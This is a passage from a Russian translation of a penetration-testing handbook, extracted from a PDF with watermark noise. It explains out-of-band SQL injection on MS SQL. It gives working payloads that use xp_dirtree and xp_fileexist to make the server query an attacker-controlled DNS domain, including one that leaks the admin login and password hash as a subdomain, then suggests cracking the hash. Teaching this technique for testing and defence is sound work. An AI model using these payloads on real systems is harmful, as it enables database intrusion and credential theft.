Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 148  Глава 6.Обнаружение и эксплуатация уязвимостей в приложениях...

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

qname=c2FudGEgY2xhdXNlIGlzIG5vdCByZWFs.c2.spider.ml

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

root@spider-c2-1:~#

Инфраструктура командно-контрольного сервера готова для внеполосного сканирования на уязвимости.

Подтверждение

Теперь,когдаоблачныйсерверправильнонастроенназаписьвходящихзапросов через DNS,можем вернуться к нашему более раннему примеру и использовать облако для внеполосного подтверждения наличия уязвимости.

Как вы помните, уязвимое приложение позволяет выполнять ввод не­ безопасныхданныхпользователемнаSQL-сервереспомощьюпараметраname. Проблема, с которой мы, будучи хакерами, иногда сталкиваемся, заключается в том, что трудно подтвердить существование уязвимости такого типа, когда приложение не ведетсебя по-разному в зависимости отпредоставленныхданных. Иногда нам может даже посчастливиться изучить исходный код, и в этом случае мы просто сразу же перейдем к эксплуатации уязвимости.

Полезная нагрузка WAITFOR DELAY будет работать с большинством попыток SQL-инъекций, поскольку большинство представлений приложений зависит от результата SQL-запросов, которые выполняет контроллер.

SELECT * FROM users WHERE user = 'Dade';WAITFOR DELAY '0:0:20' --';

В неожиданно распространенном сценарии, когда уязвимый запрос выполняется асинхронно и страница не возвращаетникакой полезной информации, можем обманом заставить SQL-сервер связаться с нашим недавно созданным командно-контрольным сервером и получить подтверждение без помощи приложения.

Код для выполнения этого процесса будет выглядетьтак:

';declare @q varchar(99);set @q='\\sqli-test-payload- 1.c2.spider.ml\test'; exec master.dbo.xp_dirtree @q;--

Когда серверная система строит запрос на выполнение, он принимает следующий вид:

SELECT * FROM users WHERE user = 'Dade';declare @q varchar(99);set

@q='\\sqli-test-payload-1.c2.spider.ml\test'; exec master.dbo.xp_dirtree @q;--';

И опять же, если мы проверим файл /var/log/inetsim/service.log на нашем командно-контрольном сервере,то увидим запрос,поступающий из SQLсервера, в попытке разрезолвить домен sqli-test-payload-1.c2.spider.ml,

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Асинхронное извлечение данных  149 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

прежде чем можно будет выполнить получение списка файлов каталога обще-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

го ресурса.

[1438] [dns_53_tcp_udp 1441] connect

[1438] [dns_53_tcp_udp 1441] recv: Query Type A, Class IN, Name sqli-test-payload-1.c2.spider.ml

[1438] [dns_53_tcp_udp 1441] send: sqli-test-payload-1.c2.spider.ml 3600 IN A 35.196.100.89

[1438] [dns_53_tcp_udp 1441] disconnect

Мы заставили приложение выполнить DNS-запрос к серверу,который конт­ ролируем.

Увидев очень специфический запрос в журналах командно-контрольного сервера, можем подтвердить, что существует уязвимость, подверженная SQLинъекции, которую можно эксплуатировать.

Асинхронное извлечение данных

Существуетещеоднапроблема,связаннаясэтимконкретнымтипомуязвимос­ ти. Его асинхронный характер делает невозможным использование традиционных методов извлечения данных.Хотя запрос может быть выполнен успешно, а SQL-сервер отложит результат его выполнения, нам не удастся оценить это, поскольку приложение, являющееся объектом атаки, не ожидает ответа SQL-сервера и немедленно возвращает управление.

Нужнобытьнемногоумнее,чтобыизвлечьданныеиуспешноскомпрометировать жертву. СУБД MS SQL, MySQL, PostgreSQL и др. предоставляют способы достичь этой цели. Мы рассмотрим способ с использованием MS SQL, но если проявить немного изобретательности,движок любой базы данных можетподчиниться воле злоумышленника.Также важно помнить,что этот метод можно применять при подтверждении наличия уязвимостей из категории не только SQL-инъекций, но и XSS и XXE, о которых идет речь в других главах.

Давайте продолжим и вернемся к методу, который мы использовали для подтверждения наличия уязвимости. Мы передали запрос, заставивший SQLсервер разрезолвить произвольное доменное имя, пытаясь составить список содержимого общего сетевого каталога через SMB-протокол. Поскольку мы контролируем DNS-сервер, у которого есть полномочия над общим доменом, можем перехватить любой запрос, отправленный на него. Подтверждение – простовопроснаблюдениязатем,каксерверприложенийпыталсяопределить домендляобщегосетевогокаталога,которыймыпередали.Чтобыфактически получить данные, нам нужно будет создать запрос, выполняющий следующие действия:

выбирает одного пользователя с повышенными привилегиями по ро­ ли (admin);

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Глава 6.Обнаружение и эксплуатация уязвимостей в приложениях...

w Click

to

BUY 150 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

выбирает пароль этого пользователя;

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

объединяетдва значения с помощью точки: [admin]. [hash];

 

 

 

 

 

 

 

 

 

 

 

добавляет это значение к домену c2.spider.ml;

 

 

 

 

 

 

 

 

 

 

форсирует DNS-запрос.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Подобнонашейпервойполезнойнагрузке,объявимпеременную@q.Онабудет хранить данные, которые будем извлекать из базы данных.

declare @q varchar(99);

Далее используем пару операторов SELECT для чтения поля user,чтобы найти первую учетную запись с ролью admin:

select top 1 user from users where role = 'admin'

Атакже выберем поле password для этого конкретного пользователя:

select top 1 password from users where role = 'admin'

Чтобы извлечь эти данные, нужно объединить оба значения с помощью функции CONCAT().

select concat((select top 1 user from users where role = 'admin'),'.',(select top 1 password from users where role = 'admin'))

Результат конкатенации будет сохранен в переменной @q, как показано ниже.

set @q=(select concat((select top 1 user from users where role = 'admin'),'.',(select top 1 password from users where role = 'admin')));

Наконец, мы выполняем функцию MS SQL xp_fileexist для форсирования запроса DNS и SMB на наш командно-контрольный сервер с содержимым @q в качестве поддомена.

exec('xp_fileexist ''\\'+@q+'.c2.spider.ml\test''');--'

Двойные и одинарные кавычки перед двойной обратной косой чертой–это просто способ экранирования одинарных кавычек, который используется в

Windows.

Конечный код выглядит немного неряшливо, но он должен сработать. Мы объединим все наши операторы в строку, причем каждый оператор будет разделен точкой с запятой.

';declare @q varchar(99);set @q=(select concat((select top 1 user from users where role = 'admin'),'.',(select top 1 password from

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Асинхронное извлечение данных 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

users where role = 'admin'))); exec('xp_fileexist

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

151 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

''\\'+@q+'.c2.spider.ml\test''');--

На сервере SQL-запрос, который должен быть выполнен, будет выглядеть так:

SELECT * FROM users WHERE user = 'Dade';declare @q varchar(99);set

@q=(select concat((select top 1 user from users where role =

'admin'),'.',(select top 1 password from users where role = 'admin'))); exec('xp_fileexist ''\\'+@q+'.c2.spider.ml\test''');--';

Как и в случае внеполосного обнаружения уязвимости, мы объявили переменную, значением которой будет объединенный административный логин и соответствующий ему хеш пароля.

Последняя команда дает указание SQL-серверу выполнить команду xp_file- exist с помощью функции EXEC().Как и прежде,мы не заботимся о результа- те,апростохотимзаставитьсервервыдаватьDNS-запросдлядомена,которым управляем.

Командно-контрольный сервер должен был получить DNS-запрос, содержащий учетныеданные,извлеченные из базыданных в видедоменного имени.

[...] [1438] [dns_53_tcp_udp 1441] connect

[...] [1438] [dns_53_tcp_udp 1441] recv: Query Type AAAA, Class

IN, Name administrator.a7b0d65fdf1728307f896e83c306a617.c2.spider.ml [...] [1438] [dns_53_tcp_udp 1441] disconnect

[...] [1438] [dns_53_tcp_udp 1441] stat: 1 qtype=AAAA qclass=IN qname=administrator.a7b0d65fdf1728307f896e83c306a617.c2.spider.ml

Здорово! Теперь все, что нам нужно сделать, – это «взломать» хеш. Можно воспользоваться John the Ripper или hashcat, чтобы выполнить словарную атаку или атаку методом полного перебора. Также можно проверить, было ли это значение уже вычислено.

Hash Toolkit позволяет выполнять поиск по хешам MD5 и SHA-*, чтобы быстро возвращать их незашифрованные аналоги. Наиболее распространенные пароли уже были взломаны или вычислены кем-то где-то, и такие сайты, как Hash Toolkit, предоставляют быстрый указатель результатов. Как и в любых других случаях, когда вы используете интернет, будьте осторожны с данными, которые отправляете на ненадежный сайт. Hash Toolkit доступен на

странице https://hashtoolkit.com.